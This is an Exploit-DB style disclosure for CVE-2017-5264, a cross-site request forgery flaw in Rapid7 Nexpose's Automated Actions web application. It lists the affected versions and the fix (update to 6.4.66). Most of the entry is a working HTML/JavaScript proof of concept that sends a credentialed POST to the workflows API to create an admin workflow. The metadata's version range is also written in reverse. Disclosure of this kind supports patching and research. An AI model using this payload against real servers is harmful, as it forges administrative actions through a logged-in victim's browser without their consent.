Cross Site Request Forgery at Nexpose Automated Actions

vendor:

Nexpose

by:

Shwetabh Vishnoi

8.8

CVSS

HIGH

Cross Site Request Forgery

352

CWE

Product Name: Nexpose

Affected Version From: Rapid7 Nexpose 6.4.65

Affected Version To: Rapid7 Nexpose 5.4

Patch Exists: YES

Related CWE: CVE-2017-5264

CPE: a:rapid7:nexpose

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows,Linux,Mac

2017

Cross Site Request Forgery at Nexpose Automated Actions

Versions of Nexpose prior to 6.4.66 fail to adequately validate the source of HTTP requests intended for the Automated Actions administrative web application, and are susceptible to a cross-site request forgery (CSRF) attack.

Mitigation:

Update to 6.4.66

Source

Exploit-DB raw data:

# Exploit Title: [Cross Site Request Forgery at Nexpose Automated Actions]
# Release Date: [2017-12-13]
# Exploit Author: [Shwetabh Vishnoi]
# Link: https://www.linkedin.com/in/shwetabhvishnoi
# Vendor Homepage: [https://www.rapid7.com/]
# Software Link: [https://www.rapid7.com/products/nexpose/download/]
# Tested on: [Windows,Linux,Mac]
# CVE : [CVE-2017-5264]
# Solution: Update to 6.4.66
# Affected Version(s): Rapid7 Nexpose 6.4.65
Rapid7 Nexpose 6.4.13
Rapid7 Nexpose 6.4.12
Rapid7 Nexpose 5.8.6
Rapid7 Nexpose 5.8
Rapid7 Nexpose 5.7.5
Rapid7 Nexpose 5.5.4
Rapid7 Nexpose 5.5.3
Rapid7 Nexpose 5.4.8
Rapid7 Nexpose 5.4.7
Rapid7 Nexpose 5.4.6
Rapid7 Nexpose 5.5.8
Rapid7 Nexpose 5.5.7
Rapid7 Nexpose 5.5.6
Rapid7 Nexpose 5.5.5
Rapid7 Nexpose 5.5.1
Rapid7 Nexpose 5.4.9
Rapid7 Nexpose 5.4.5
Rapid7 Nexpose 5.4.4
Rapid7 Nexpose 5.4.3
Rapid7 Nexpose 5.4.2
Rapid7 Nexpose 5.4.12
Rapid7 Nexpose 5.4.11
Rapid7 Nexpose 5.4.10
Rapid7 Nexpose 5.4.1
Rapid7 Nexpose 5.4

Description: Versions of Nexpose prior to 6.4.66 fail to adequately
validate the source of HTTP requests intended for the Automated
Actions administrative web application, and are susceptible to a
cross-site
request forgery (CSRF) attack.

Affected URL/endpoint:
https://nexpose-server.com/eso/conductor-service/api/workflows

Proof Of Concept:

<html>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST",
"https:\/\/nexpose-server.com\/eso\/conductor-service\/api\/workflows\/",
true);
        xhr.setRequestHeader("Accept", "application\/json,
text\/javascript, *\/*; q=0.01");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "application\/json");
        xhr.withCredentials = true;
        var body =
"{\"name\":\"test2\",\"steps\":[{\"serviceName\":\"nexpose\",\"stepConfiguration\":{\"typeName\":\"discover-known-assets\",\"previousTypeName\":\"\",\"configurationParams\":{\"valueClass\":\"Object\",\"objectType\":\"siteMetadata\",\"properties\":{\"siteID\":{\"valueClass\":\"Array\",\"items\":[{\"valueClass\":\"Integer\",\"value\":67}]},\"VULN_CATEGORY\":{\"valueClass\":\"Array\",\"items\":[{\"valueClass\":\"Object\",\"objectType\":\"VULN_CATEGORY_ITEM\",\"properties\":{\"operator\":{\"valueClass\":\"String\",\"value\":\"CONTAINS\"},\"operand1\":{\"valueClass\":\"String\",\"value\":\"dos\"}}}]}}}}},{\"serviceName\":\"nexpose\",\"stepConfiguration\":{\"typeName\":\"tag\",\"previousTypeName\":\"discover-known-assets\",\"configurationParams\":{\"valueClass\":\"Object\",\"objectType\":\"tag\",\"properties\":{\"tagID\":{\"value\":339,\"valueClass\":\"Integer\",\"text\":\"Test\"}}}}}]}";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request"
onclick="submitRequest();" />
    </form>
  </body>
</html>